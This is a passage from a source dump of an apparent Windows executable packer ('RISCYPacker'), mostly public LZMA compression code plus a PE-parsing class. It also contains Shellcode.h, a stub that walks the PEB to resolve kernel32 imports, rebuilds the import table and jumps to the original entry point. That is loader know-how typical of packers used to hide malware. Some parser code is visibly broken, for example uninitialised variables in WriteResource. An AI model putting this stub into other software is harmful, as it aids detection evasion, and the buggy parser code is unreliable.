&p->BinSumm[(unsigned)Ppmd7Context_OneState(p->MinContext)->Freq - 1][p->PrevSuccess + \ 90 | p->NS2BSIndx[Ppmd7_GetContext(p, p->MinContext->Suffix)->NumStats - 1] + \ 91 | (p->HiBitsFlag = p->HB2Flag[p->FoundState->Symbol]) + \ 92 | 2 * p->HB2Flag[(unsigned)Ppmd7Context_OneState(p->MinContext)->Symbol] + \ 93 | ((p->RunLength >> 26) & 0x20)] 94 | 95 | CPpmd_See *Ppmd7_MakeEscFreq(CPpmd7 *p, unsigned numMasked, UInt32 *scale); 96 | 97 | 98 | /* ---------- Decode ---------- */ 99 | 100 | typedef struct 101 | { 102 | UInt32 (*GetThreshold)(void *p, UInt32 total); 103 | void (*Decode)(void *p, UInt32 start, UInt32 size); 104 | UInt32 (*DecodeBit)(void *p, UInt32 size0); 105 | } IPpmd7_RangeDec; 106 | 107 | typedef struct 108 | { 109 | IPpmd7_RangeDec p; 110 | UInt32 Range; 111 | UInt32 Code; 112 | IByteIn *Stream; 113 | } CPpmd7z_RangeDec; 114 | 115 | void Ppmd7z_RangeDec_CreateVTable(CPpmd7z_RangeDec *p); 116 | Bool Ppmd7z_RangeDec_Init(CPpmd7z_RangeDec *p); 117 | #define Ppmd7z_RangeDec_IsFinishedOK(p) ((p)->Code == 0) 118 | 119 | int Ppmd7_DecodeSymbol(CPpmd7 *p, IPpmd7_RangeDec *rc); 120 | 121 | 122 | /* ---------- Encode ---------- */ 123 | 124 | typedef struct 125 | { 126 | UInt64 Low; 127 | UInt32 Range; 128 | Byte Cache; 129 | UInt64 CacheSize; 130 | IByteOut *Stream; 131 | } CPpmd7z_RangeEnc; 132 | 133 | void Ppmd7z_RangeEnc_Init(CPpmd7z_RangeEnc *p); 134 | void Ppmd7z_RangeEnc_FlushData(CPpmd7z_RangeEnc *p); 135 | 136 | void Ppmd7_EncodeSymbol(CPpmd7 *p, CPpmd7z_RangeEnc *rc, int symbol); 137 | 138 | EXTERN_C_END 139 | 140 | #endif 141 | -------------------------------------------------------------------------------- /RISCYBuilder/RISCYBuilder/PEData.cpp: -------------------------------------------------------------------------------- 1 | #include "PEData.h" 2 | #include 3 | 4 | PEData::PEData(IMAGE_DOS_HEADER *exe) 5 | { 6 | Init(exe); 7 | } 8 | 9 | PEData::PEData(std::wstring filePath) 10 | { 11 | HANDLE hPE = CreateFile(filePath.c_str(), GENERIC_READ, NULL, NULL, OPEN_EXISTING, 0, 0); 12 | if (hPE == NULL) 13 | exit(-1); 14 | LARGE_INTEGER fileSize = { 0,0 }; 15 | GetFileSizeEx(hPE, &fileSize); 16 | IMAGE_DOS_HEADER *hollowedImage = (IMAGE_DOS_HEADER*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, fileSize.LowPart); 17 | ReadFile(hPE, (void*)hollowedImage, fileSize.LowPart, NULL, NULL); 18 | CloseHandle(hPE); 19 | 20 | Init(hollowedImage); 21 | } 22 | 23 | void PEData::Init(IMAGE_DOS_HEADER *exe) 24 | { 25 | this->exe = (void*)exe; 26 | this->I_ntHeader = (IMAGE_NT_HEADERS*)((int)exe + ((IMAGE_DOS_HEADER*)exe)->e_lfanew); 27 | this->I_fileHeader = (IMAGE_FILE_HEADER*)&I_ntHeader->FileHeader; 28 | this->I_optionalHeader = (IMAGE_OPTIONAL_HEADER*)&this->I_ntHeader->OptionalHeader; 29 | ExtractSections(); 30 | ExtractImports(); 31 | } 32 | 33 | DWORD PEData::Rva2Offset(DWORD dwRva) 34 | { 35 | IMAGE_SECTION_HEADER *secHeader = IMAGE_FIRST_SECTION(this->I_ntHeader); 36 | 37 | for (USHORT i = 0; i < this->I_fileHeader->NumberOfSections; i++) 38 | { 39 | if (dwRva >= secHeader->VirtualAddress) 40 | { 41 | if (dwRva < secHeader->VirtualAddress + secHeader->Misc.VirtualSize) 42 | return (DWORD)(dwRva - secHeader->VirtualAddress + secHeader->PointerToRawData); 43 | } 44 | secHeader++; 45 | } 46 | return -1; 47 | } 48 | 49 | void PEData::ExtractSections() 50 | { 51 | IMAGE_SECTION_HEADER *secHeader = IMAGE_FIRST_SECTION(this->I_ntHeader); 52 | 53 | for (int i = 0; i < this->I_fileHeader->NumberOfSections; i++) 54 | { 55 | si.push_back(SectionInfo((char*)secHeader->Name, secHeader->PointerToRawData, secHeader->VirtualAddress, secHeader->SizeOfRawData, secHeader->Misc.VirtualSize)); 56 | secHeader++; 57 | } 58 | 59 | } 60 | 61 | void PEData::WriteResource(BYTE* buff) 62 | { 63 | void *rsrc = (void*)this->I_optionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress; 64 | int rsrcSize = this->I_optionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].Size; 65 | 66 | IMAGE_RESOURCE_DIRECTORY *resources = (PIMAGE_RESOURCE_DIRECTORY)Rva2Offset((DWORD)rsrc); 67 | IMAGE_RESOURCE_DIRECTORY_ENTRY *listItem = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)(resources + 1); 68 | PIMAGE_RESOURCE_DIRECTORY_ENTRY version; 69 | 70 | for (int i = 0; i < resources->NumberOfIdEntries; i++) 71 | { 72 | if (listItem->Id == (WORD)RT_VERSION) 73 | { 74 | if (listItem->DataIsDirectory) 75 | { 76 | child = (PIMAGE_RESOURCE_DIRECTORY)((version->OffsetToData & 0x7FFFFFFF) + (DWORD)resources); 77 | } 78 | } 79 | } 80 | } 81 | 82 | //sort function ordering by OFT 83 | bool sortOFT(IMAGE_IMPORT_DESCRIPTOR* a, IMAGE_IMPORT_DESCRIPTOR* b) 84 | { 85 | if (a->OriginalFirstThunk > b->OriginalFirstThunk) 86 | return false; 87 | return true; 88 | } 89 | 90 | void PEData::ExtractImports() 91 | { 92 | 93 | IMAGE_IMPORT_DESCRIPTOR *imports = (IMAGE_IMPORT_DESCRIPTOR*)((DWORD)exe + Rva2Offset(this->I_optionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress)); 94 | 95 | std::vector thunkList; 96 | //Do not convert to raw address, we need loaded location 97 | this->iat.offset = this->I_optionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].VirtualAddress; 98 | 99 | int importSize = (this->I_optionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size) / sizeof(IMAGE_IMPORT_DESCRIPTOR); 100 | //build in order import (needed for IAT) 101 | while (imports->Name != NULL) 102 | { 103 | thunkList.push_back(imports); 104 | imports++; 105 | } 106 | 107 | std::sort(thunkList.begin(), thunkList.end(), sortOFT); 108 | 109 | for (std::vector::iterator it = thunkList.begin(); it != thunkList.end(); ++it) 110 | { 111 | Thunk t; 112 | 113 | t.libname = std::string((char*)((DWORD)exe + Rva2Offset((*it)->Name))); 114 | 115 | IMAGE_THUNK_DATA* thunk = (IMAGE_THUNK_DATA*)((int)exe + Rva2Offset((*it)->OriginalFirstThunk)); 116 | while (*(DWORD*)thunk != NULL) { 117 | 118 | t.functionNames.push_back((char*)((int)exe + Rva2Offset(thunk->u1.Function + 2))); 119 | thunk++; 120 | } 121 | this->iat.thunks.push_back(t); 122 | } 123 | 124 | } 125 | 126 | PEData::~PEData() 127 | { 128 | } 129 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/7zStream.c: -------------------------------------------------------------------------------- 1 | /* 7zStream.c -- 7z Stream functions 2 | 2013-11-12 : Igor Pavlov : Public domain */ 3 | 4 | #include "Precomp.h" 5 | 6 | #include 7 | 8 | #include "7zTypes.h" 9 | 10 | SRes SeqInStream_Read2(ISeqInStream *stream, void *buf, size_t size, SRes errorType) 11 | { 12 | while (size != 0) 13 | { 14 | size_t processed = size; 15 | RINOK(stream->Read(stream, buf, &processed)); 16 | if (processed == 0) 17 | return errorType; 18 | buf = (void *)((Byte *)buf + processed); 19 | size -= processed; 20 | } 21 | return SZ_OK; 22 | } 23 | 24 | SRes SeqInStream_Read(ISeqInStream *stream, void *buf, size_t size) 25 | { 26 | return SeqInStream_Read2(stream, buf, size, SZ_ERROR_INPUT_EOF); 27 | } 28 | 29 | SRes SeqInStream_ReadByte(ISeqInStream *stream, Byte *buf) 30 | { 31 | size_t processed = 1; 32 | RINOK(stream->Read(stream, buf, &processed)); 33 | return (processed == 1) ? SZ_OK : SZ_ERROR_INPUT_EOF; 34 | } 35 | 36 | SRes LookInStream_SeekTo(ILookInStream *stream, UInt64 offset) 37 | { 38 | Int64 t = offset; 39 | return stream->Seek(stream, &t, SZ_SEEK_SET); 40 | } 41 | 42 | SRes LookInStream_LookRead(ILookInStream *stream, void *buf, size_t *size) 43 | { 44 | const void *lookBuf; 45 | if (*size == 0) 46 | return SZ_OK; 47 | RINOK(stream->Look(stream, &lookBuf, size)); 48 | memcpy(buf, lookBuf, *size); 49 | return stream->Skip(stream, *size); 50 | } 51 | 52 | SRes LookInStream_Read2(ILookInStream *stream, void *buf, size_t size, SRes errorType) 53 | { 54 | while (size != 0) 55 | { 56 | size_t processed = size; 57 | RINOK(stream->Read(stream, buf, &processed)); 58 | if (processed == 0) 59 | return errorType; 60 | buf = (void *)((Byte *)buf + processed); 61 | size -= processed; 62 | } 63 | return SZ_OK; 64 | } 65 | 66 | SRes LookInStream_Read(ILookInStream *stream, void *buf, size_t size) 67 | { 68 | return LookInStream_Read2(stream, buf, size, SZ_ERROR_INPUT_EOF); 69 | } 70 | 71 | static SRes LookToRead_Look_Lookahead(void *pp, const void **buf, size_t *size) 72 | { 73 | SRes res = SZ_OK; 74 | CLookToRead *p = (CLookToRead *)pp; 75 | size_t size2 = p->size - p->pos; 76 | if (size2 == 0 && *size > 0) 77 | { 78 | p->pos = 0; 79 | size2 = LookToRead_BUF_SIZE; 80 | res = p->realStream->Read(p->realStream, p->buf, &size2); 81 | p->size = size2; 82 | } 83 | if (size2 < *size) 84 | *size = size2; 85 | *buf = p->buf + p->pos; 86 | return res; 87 | } 88 | 89 | static SRes LookToRead_Look_Exact(void *pp, const void **buf, size_t *size) 90 | { 91 | SRes res = SZ_OK; 92 | CLookToRead *p = (CLookToRead *)pp; 93 | size_t size2 = p->size - p->pos; 94 | if (size2 == 0 && *size > 0) 95 | { 96 | p->pos = 0; 97 | if (*size > LookToRead_BUF_SIZE) 98 | *size = LookToRead_BUF_SIZE; 99 | res = p->realStream->Read(p->realStream, p->buf, size); 100 | size2 = p->size = *size; 101 | } 102 | if (size2 < *size) 103 | *size = size2; 104 | *buf = p->buf + p->pos; 105 | return res; 106 | } 107 | 108 | static SRes LookToRead_Skip(void *pp, size_t offset) 109 | { 110 | CLookToRead *p = (CLookToRead *)pp; 111 | p->pos += offset; 112 | return SZ_OK; 113 | } 114 | 115 | static SRes LookToRead_Read(void *pp, void *buf, size_t *size) 116 | { 117 | CLookToRead *p = (CLookToRead *)pp; 118 | size_t rem = p->size - p->pos; 119 | if (rem == 0) 120 | return p->realStream->Read(p->realStream, buf, size); 121 | if (rem > *size) 122 | rem = *size; 123 | memcpy(buf, p->buf + p->pos, rem); 124 | p->pos += rem; 125 | *size = rem; 126 | return SZ_OK; 127 | } 128 | 129 | static SRes LookToRead_Seek(void *pp, Int64 *pos, ESzSeek origin) 130 | { 131 | CLookToRead *p = (CLookToRead *)pp; 132 | p->pos = p->size = 0; 133 | return p->realStream->Seek(p->realStream, pos, origin); 134 | } 135 | 136 | void LookToRead_CreateVTable(CLookToRead *p, int lookahead) 137 | { 138 | p->s.Look = lookahead ? 139 | LookToRead_Look_Lookahead : 140 | LookToRead_Look_Exact; 141 | p->s.Skip = LookToRead_Skip; 142 | p->s.Read = LookToRead_Read; 143 | p->s.Seek = LookToRead_Seek; 144 | } 145 | 146 | void LookToRead_Init(CLookToRead *p) 147 | { 148 | p->pos = p->size = 0; 149 | } 150 | 151 | static SRes SecToLook_Read(void *pp, void *buf, size_t *size) 152 | { 153 | CSecToLook *p = (CSecToLook *)pp; 154 | return LookInStream_LookRead(p->realStream, buf, size); 155 | } 156 | 157 | void SecToLook_CreateVTable(CSecToLook *p) 158 | { 159 | p->s.Read = SecToLook_Read; 160 | } 161 | 162 | static SRes SecToRead_Read(void *pp, void *buf, size_t *size) 163 | { 164 | CSecToRead *p = (CSecToRead *)pp; 165 | return p->realStream->Read(p->realStream, buf, size); 166 | } 167 | 168 | void SecToRead_CreateVTable(CSecToRead *p) 169 | { 170 | p->s.Read = SecToRead_Read; 171 | } 172 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/LzmaLib.h: -------------------------------------------------------------------------------- 1 | /* LzmaLib.h -- LZMA library interface 2 | 2013-01-18 : Igor Pavlov : Public domain */ 3 | 4 | #ifndef __LZMA_LIB_H 5 | #define __LZMA_LIB_H 6 | 7 | #include "7zTypes.h" 8 | 9 | EXTERN_C_BEGIN 10 | 11 | #define MY_STDAPI int MY_STD_CALL 12 | 13 | #define LZMA_PROPS_SIZE 5 14 | 15 | /* 16 | RAM requirements for LZMA: 17 | for compression: (dictSize * 11.5 + 6 MB) + state_size 18 | for decompression: dictSize + state_size 19 | state_size = (4 + (1.5 << (lc + lp))) KB 20 | by default (lc=3, lp=0), state_size = 16 KB. 21 | 22 | LZMA properties (5 bytes) format 23 | Offset Size Description 24 | 0 1 lc, lp and pb in encoded form. 25 | 1 4 dictSize (little endian). 26 | */ 27 | 28 | /* 29 | LzmaCompress 30 | ------------ 31 | 32 | outPropsSize - 33 | In: the pointer to the size of outProps buffer; *outPropsSize = LZMA_PROPS_SIZE = 5. 34 | Out: the pointer to the size of written properties in outProps buffer; *outPropsSize = LZMA_PROPS_SIZE = 5. 35 | 36 | LZMA Encoder will use defult values for any parameter, if it is 37 | -1 for any from: level, loc, lp, pb, fb, numThreads 38 | 0 for dictSize 39 | 40 | level - compression level: 0 <= level <= 9; 41 | 42 | level dictSize algo fb 43 | 0: 16 KB 0 32 44 | 1: 64 KB 0 32 45 | 2: 256 KB 0 32 46 | 3: 1 MB 0 32 47 | 4: 4 MB 0 32 48 | 5: 16 MB 1 32 49 | 6: 32 MB 1 32 50 | 7+: 64 MB 1 64 51 | 52 | The default value for "level" is 5. 53 | 54 | algo = 0 means fast method 55 | algo = 1 means normal method 56 | 57 | dictSize - The dictionary size in bytes. The maximum value is 58 | 128 MB = (1 << 27) bytes for 32-bit version 59 | 1 GB = (1 << 30) bytes for 64-bit version 60 | The default value is 16 MB = (1 << 24) bytes. 61 | It's recommended to use the dictionary that is larger than 4 KB and 62 | that can be calculated as (1 << N) or (3 << N) sizes. 63 | 64 | lc - The number of literal context bits (high bits of previous literal). 65 | It can be in the range from 0 to 8. The default value is 3. 66 | Sometimes lc=4 gives the gain for big files. 67 | 68 | lp - The number of literal pos bits (low bits of current position for literals). 69 | It can be in the range from 0 to 4. The default value is 0. 70 | The lp switch is intended for periodical data when the period is equal to 2^lp. 71 | For example, for 32-bit (4 bytes) periodical data you can use lp=2. Often it's 72 | better to set lc=0, if you change lp switch. 73 | 74 | pb - The number of pos bits (low bits of current position). 75 | It can be in the range from 0 to 4. The default value is 2. 76 | The pb switch is intended for periodical data when the period is equal 2^pb. 77 | 78 | fb - Word size (the number of fast bytes). 79 | It can be in the range from 5 to 273. The default value is 32. 80 | Usually, a big number gives a little bit better compression ratio and 81 | slower compression process. 82 | 83 | numThreads - The number of thereads. 1 or 2. The default value is 2. 84 | Fast mode (algo = 0) can use only 1 thread. 85 | 86 | Out: 87 | destLen - processed output size 88 | Returns: 89 | SZ_OK - OK 90 | SZ_ERROR_MEM - Memory allocation error 91 | SZ_ERROR_PARAM - Incorrect paramater 92 | SZ_ERROR_OUTPUT_EOF - output buffer overflow 93 | SZ_ERROR_THREAD - errors in multithreading functions (only for Mt version) 94 | */ 95 | 96 | MY_STDAPI LzmaCompress(unsigned char *dest, size_t *destLen, const unsigned char *src, size_t srcLen, 97 | unsigned char *outProps, size_t *outPropsSize, /* *outPropsSize must be = 5 */ 98 | int level, /* 0 <= level <= 9, default = 5 */ 99 | unsigned dictSize, /* default = (1 << 24) */ 100 | int lc, /* 0 <= lc <= 8, default = 3 */ 101 | int lp, /* 0 <= lp <= 4, default = 0 */ 102 | int pb, /* 0 <= pb <= 4, default = 2 */ 103 | int fb, /* 5 <= fb <= 273, default = 32 */ 104 | int numThreads /* 1 or 2, default = 2 */ 105 | ); 106 | 107 | /* 108 | LzmaUncompress 109 | -------------- 110 | In: 111 | dest - output data 112 | destLen - output data size 113 | src - input data 114 | srcLen - input data size 115 | Out: 116 | destLen - processed output size 117 | srcLen - processed input size 118 | Returns: 119 | SZ_OK - OK 120 | SZ_ERROR_DATA - Data error 121 | SZ_ERROR_MEM - Memory allocation arror 122 | SZ_ERROR_UNSUPPORTED - Unsupported properties 123 | SZ_ERROR_INPUT_EOF - it needs more bytes in input buffer (src) 124 | */ 125 | 126 | MY_STDAPI LzmaUncompress(unsigned char *dest, size_t *destLen, const unsigned char *src, SizeT *srcLen, 127 | const unsigned char *props, size_t propsSize); 128 | 129 | EXTERN_C_END 130 | 131 | #endif 132 | -------------------------------------------------------------------------------- /RISCYPacker/Shellcode.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "stdafx.h" 3 | 4 | /************************************************************************/ 5 | 6 | bool ContainsString(char* src, char* str, bool isUnicode) 7 | { 8 | int i = 0, k = 0, strLen = 0; 9 | //strlen 10 | while ((str[strLen] != NULL && !isUnicode) || ((str[strLen - 1] != NULL || str[strLen] != NULL) && isUnicode)) 11 | strLen++; 12 | strLen = strLen / (isUnicode + 1); 13 | isUnicode ? strLen += strLen % 2 : 0; 14 | 15 | //string contains? 16 | while ((src[i] && !isUnicode) || ((src[i - 1] | src[i]) && isUnicode)) 17 | { 18 | while (src[i] == str[k]) 19 | { 20 | if (k == strLen) 21 | return true; 22 | i += (1 + isUnicode); 23 | k += (1 + isUnicode); 24 | } 25 | i += (1 + isUnicode); 26 | k = 0; 27 | } 28 | return false; 29 | } 30 | 31 | void IATshellcode() 32 | { 33 | _PEB *PEB; 34 | __asm { 35 | pop edi 36 | push edi; 37 | push fs : [0x30]; 38 | pop edi; 39 | mov PEB, edi; 40 | pop edi; 41 | } 42 | 43 | /*place holders applied to search and replace these addresses at runtime*/ 44 | DWORD *serializedIATinfo = (DWORD*)SECTION_BASE_PLACEHOLDER; 45 | DWORD *iatLocation = (DWORD*)IAT_LOCATION_PLACEHOLDER; 46 | DWORD(*TContainsString)(char* src, char* str, bool isUnicode) = (DWORD(*)(char*, char*, bool))CONTAINS_STRING_PLACEHOLDER; 47 | char* kernel32Str = (char*)KERNEL32_PLACEHOLDER; 48 | char* loadlibraryStr = (char*)LOADLIBRARY_PLACEHOLDER; 49 | char* getprocaddressStr = (char*)GETPROCADDRESS_PLACEHOLDER; 50 | DWORD oep = OEP_PLACEHOLDER; 51 | /**********************************************************************/ 52 | 53 | LIST_ENTRY *leHead = &PEB->Ldr->InMemoryOrderModuleList; 54 | LIST_ENTRY *leNode = leHead; 55 | PLDR_DATA_TABLE_ENTRY dataEntry; 56 | void* kernel32Base = NULL; 57 | while (leNode->Flink != leHead) { 58 | leNode = leNode->Flink; 59 | dataEntry = (PLDR_DATA_TABLE_ENTRY)CONTAINING_RECORD(leNode, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks); 60 | 61 | if (TContainsString((char*)dataEntry->FullDllName.Buffer, kernel32Str, true)) 62 | { 63 | kernel32Base = dataEntry->DllBase; 64 | break; 65 | } 66 | } 67 | 68 | if (kernel32Base == NULL) 69 | return; 70 | 71 | IMAGE_DOS_HEADER* kernel32Image = (IMAGE_DOS_HEADER*)kernel32Base; 72 | IMAGE_NT_HEADERS *kernel32NtHeader = (IMAGE_NT_HEADERS*)((int)kernel32Image + (kernel32Image)->e_lfanew); 73 | IMAGE_OPTIONAL_HEADER *kernel32OptionalHeader = (IMAGE_OPTIONAL_HEADER*)&kernel32NtHeader->OptionalHeader; 74 | 75 | IMAGE_EXPORT_DIRECTORY *kernel32Exports = (IMAGE_EXPORT_DIRECTORY*)((int)kernel32Base + kernel32OptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); 76 | DWORD *functionsNames = (DWORD*)((int)kernel32Base + kernel32Exports->AddressOfNames); 77 | int funcIndex = 0, getProcAddderIndex, loadLibraryIndex; 78 | while (1) 79 | { 80 | 81 | if (TContainsString((char*)((int)kernel32Base + *functionsNames), getprocaddressStr, false)) 82 | { 83 | getProcAddderIndex = funcIndex + 2; 84 | } 85 | if (TContainsString((char*)((int)kernel32Base + *functionsNames), loadlibraryStr, false)) 86 | { 87 | loadLibraryIndex = funcIndex + 1; 88 | break; 89 | } 90 | functionsNames++; 91 | 92 | funcIndex++; 93 | } 94 | 95 | DWORD *functions = (DWORD*)((int)kernel32Base + kernel32Exports->AddressOfFunctions); 96 | DWORD(*TGetProcAddress)(DWORD base, char* funcName) = ((DWORD(*)(DWORD, char*))((int)kernel32Base + functions[getProcAddderIndex])); 97 | DWORD(*TLoadLibrary)(char* libName) = ((DWORD(*)(char*))((int)kernel32Base + functions[loadLibraryIndex])); 98 | 99 | int i = 0; 100 | char* currLib = (char*)serializedIATinfo; 101 | char* currFunc; 102 | DWORD libBase; 103 | //start -1 for loops sake 104 | iatLocation--; 105 | //while not end of IAT info (null.null.null) 106 | while (((char*)serializedIATinfo)[i] != NULL || ((char*)serializedIATinfo)[i + 1] != NULL || ((char*)serializedIATinfo)[i + 2] != NULL) 107 | { 108 | //Library end (null.null) 109 | if (((char*)serializedIATinfo)[i] == NULL && ((char*)serializedIATinfo)[i + 1] == NULL) 110 | { 111 | i += 2; 112 | currLib = (char*)(((char*)serializedIATinfo) + i); 113 | 114 | //eat up library string 115 | while (((char*)serializedIATinfo)[i] != NULL) 116 | { 117 | i++; 118 | } 119 | i++; 120 | libBase = TLoadLibrary(currLib); 121 | 122 | *iatLocation = 0x00000000; 123 | iatLocation++; 124 | } 125 | currFunc = (char*)(((char*)serializedIATinfo) + i); 126 | //eat up function string 127 | while (((char*)serializedIATinfo)[i] != NULL) 128 | { 129 | i++; 130 | } 131 | i++; 132 | 133 | *iatLocation = (DWORD)TGetProcAddress(libBase, currFunc); 134 | iatLocation++; 135 | } 136 | 137 | __asm { 138 | 139 | jmp oep; 140 | } 141 | } 142 | 143 | /************************************************************************/ 144 | 145 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/CpuArch.c: -------------------------------------------------------------------------------- 1 | /* CpuArch.c -- CPU specific code 2 | 2016-02-25: Igor Pavlov : Public domain */ 3 | 4 | #include "Precomp.h" 5 | 6 | #include "CpuArch.h" 7 | 8 | #ifdef MY_CPU_X86_OR_AMD64 9 | 10 | #if (defined(_MSC_VER) && !defined(MY_CPU_AMD64)) || defined(__GNUC__) 11 | #define USE_ASM 12 | #endif 13 | 14 | #if !defined(USE_ASM) && _MSC_VER >= 1500 15 | #include 16 | #endif 17 | 18 | #if defined(USE_ASM) && !defined(MY_CPU_AMD64) 19 | static UInt32 CheckFlag(UInt32 flag) 20 | { 21 | #ifdef _MSC_VER 22 | __asm pushfd; 23 | __asm pop EAX; 24 | __asm mov EDX, EAX; 25 | __asm xor EAX, flag; 26 | __asm push EAX; 27 | __asm popfd; 28 | __asm pushfd; 29 | __asm pop EAX; 30 | __asm xor EAX, EDX; 31 | __asm push EDX; 32 | __asm popfd; 33 | __asm and flag, EAX; 34 | #else 35 | __asm__ __volatile__ ( 36 | "pushf\n\t" 37 | "pop %%EAX\n\t" 38 | "movl %%EAX,%%EDX\n\t" 39 | "xorl %0,%%EAX\n\t" 40 | "push %%EAX\n\t" 41 | "popf\n\t" 42 | "pushf\n\t" 43 | "pop %%EAX\n\t" 44 | "xorl %%EDX,%%EAX\n\t" 45 | "push %%EDX\n\t" 46 | "popf\n\t" 47 | "andl %%EAX, %0\n\t": 48 | "=c" (flag) : "c" (flag) : 49 | "%eax", "%edx"); 50 | #endif 51 | return flag; 52 | } 53 | #define CHECK_CPUID_IS_SUPPORTED if (CheckFlag(1 << 18) == 0 || CheckFlag(1 << 21) == 0) return False; 54 | #else 55 | #define CHECK_CPUID_IS_SUPPORTED 56 | #endif 57 | 58 | void MyCPUID(UInt32 function, UInt32 *a, UInt32 *b, UInt32 *c, UInt32 *d) 59 | { 60 | #ifdef USE_ASM 61 | 62 | #ifdef _MSC_VER 63 | 64 | UInt32 a2, b2, c2, d2; 65 | __asm xor EBX, EBX; 66 | __asm xor ECX, ECX; 67 | __asm xor EDX, EDX; 68 | __asm mov EAX, function; 69 | __asm cpuid; 70 | __asm mov a2, EAX; 71 | __asm mov b2, EBX; 72 | __asm mov c2, ECX; 73 | __asm mov d2, EDX; 74 | 75 | *a = a2; 76 | *b = b2; 77 | *c = c2; 78 | *d = d2; 79 | 80 | #else 81 | 82 | __asm__ __volatile__ ( 83 | #if defined(MY_CPU_AMD64) && defined(__PIC__) 84 | "mov %%rbx, %%rdi;" 85 | "cpuid;" 86 | "xchg %%rbx, %%rdi;" 87 | : "=a" (*a) , 88 | "=D" (*b) , 89 | #elif defined(MY_CPU_X86) && defined(__PIC__) 90 | "mov %%ebx, %%edi;" 91 | "cpuid;" 92 | "xchgl %%ebx, %%edi;" 93 | : "=a" (*a) , 94 | "=D" (*b) , 95 | #else 96 | "cpuid" 97 | : "=a" (*a) , 98 | "=b" (*b) , 99 | #endif 100 | "=c" (*c) , 101 | "=d" (*d) 102 | : "0" (function)) ; 103 | 104 | #endif 105 | 106 | #else 107 | 108 | int CPUInfo[4]; 109 | __cpuid(CPUInfo, function); 110 | *a = CPUInfo[0]; 111 | *b = CPUInfo[1]; 112 | *c = CPUInfo[2]; 113 | *d = CPUInfo[3]; 114 | 115 | #endif 116 | } 117 | 118 | Bool x86cpuid_CheckAndRead(Cx86cpuid *p) 119 | { 120 | CHECK_CPUID_IS_SUPPORTED 121 | MyCPUID(0, &p->maxFunc, &p->vendor[0], &p->vendor[2], &p->vendor[1]); 122 | MyCPUID(1, &p->ver, &p->b, &p->c, &p->d); 123 | return True; 124 | } 125 | 126 | static const UInt32 kVendors[][3] = 127 | { 128 | { 0x756E6547, 0x49656E69, 0x6C65746E}, 129 | { 0x68747541, 0x69746E65, 0x444D4163}, 130 | { 0x746E6543, 0x48727561, 0x736C7561} 131 | }; 132 | 133 | int x86cpuid_GetFirm(const Cx86cpuid *p) 134 | { 135 | unsigned i; 136 | for (i = 0; i < sizeof(kVendors) / sizeof(kVendors[i]); i++) 137 | { 138 | const UInt32 *v = kVendors[i]; 139 | if (v[0] == p->vendor[0] && 140 | v[1] == p->vendor[1] && 141 | v[2] == p->vendor[2]) 142 | return (int)i; 143 | } 144 | return -1; 145 | } 146 | 147 | Bool CPU_Is_InOrder() 148 | { 149 | Cx86cpuid p; 150 | int firm; 151 | UInt32 family, model; 152 | if (!x86cpuid_CheckAndRead(&p)) 153 | return True; 154 | 155 | family = x86cpuid_GetFamily(p.ver); 156 | model = x86cpuid_GetModel(p.ver); 157 | 158 | firm = x86cpuid_GetFirm(&p); 159 | 160 | switch (firm) 161 | { 162 | case CPU_FIRM_INTEL: return (family < 6 || (family == 6 && ( 163 | /* In-Order Atom CPU */ 164 | model == 0x1C /* 45 nm, N4xx, D4xx, N5xx, D5xx, 230, 330 */ 165 | || model == 0x26 /* 45 nm, Z6xx */ 166 | || model == 0x27 /* 32 nm, Z2460 */ 167 | || model == 0x35 /* 32 nm, Z2760 */ 168 | || model == 0x36 /* 32 nm, N2xxx, D2xxx */ 169 | ))); 170 | case CPU_FIRM_AMD: return (family < 5 || (family == 5 && (model < 6 || model == 0xA))); 171 | case CPU_FIRM_VIA: return (family < 6 || (family == 6 && model < 0xF)); 172 | } 173 | return True; 174 | } 175 | 176 | #if !defined(MY_CPU_AMD64) && defined(_WIN32) 177 | #include 178 | static Bool CPU_Sys_Is_SSE_Supported() 179 | { 180 | OSVERSIONINFO vi; 181 | vi.dwOSVersionInfoSize = sizeof(vi); 182 | if (!GetVersionEx(&vi)) 183 | return False; 184 | return (vi.dwMajorVersion >= 5); 185 | } 186 | #define CHECK_SYS_SSE_SUPPORT if (!CPU_Sys_Is_SSE_Supported()) return False; 187 | #else 188 | #define CHECK_SYS_SSE_SUPPORT 189 | #endif 190 | 191 | Bool CPU_Is_Aes_Supported() 192 | { 193 | Cx86cpuid p; 194 | CHECK_SYS_SSE_SUPPORT 195 | if (!x86cpuid_CheckAndRead(&p)) 196 | return False; 197 | return (p.c >> 25) & 1; 198 | } 199 | 200 | #endif 201 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/Ppmd7Enc.c: -------------------------------------------------------------------------------- 1 | /* Ppmd7Enc.c -- PPMdH Encoder 2 | 2015-09-28 : Igor Pavlov : Public domain 3 | This code is based on PPMd var.H (2001): Dmitry Shkarin : Public domain */ 4 | 5 | #include "Precomp.h" 6 | 7 | #include "Ppmd7.h" 8 | 9 | #define kTopValue (1 << 24) 10 | 11 | void Ppmd7z_RangeEnc_Init(CPpmd7z_RangeEnc *p) 12 | { 13 | p->Low = 0; 14 | p->Range = 0xFFFFFFFF; 15 | p->Cache = 0; 16 | p->CacheSize = 1; 17 | } 18 | 19 | static void RangeEnc_ShiftLow(CPpmd7z_RangeEnc *p) 20 | { 21 | if ((UInt32)p->Low < (UInt32)0xFF000000 || (unsigned)(p->Low >> 32) != 0) 22 | { 23 | Byte temp = p->Cache; 24 | do 25 | { 26 | p->Stream->Write(p->Stream, (Byte)(temp + (Byte)(p->Low >> 32))); 27 | temp = 0xFF; 28 | } 29 | while (--p->CacheSize != 0); 30 | p->Cache = (Byte)((UInt32)p->Low >> 24); 31 | } 32 | p->CacheSize++; 33 | p->Low = (UInt32)p->Low << 8; 34 | } 35 | 36 | static void 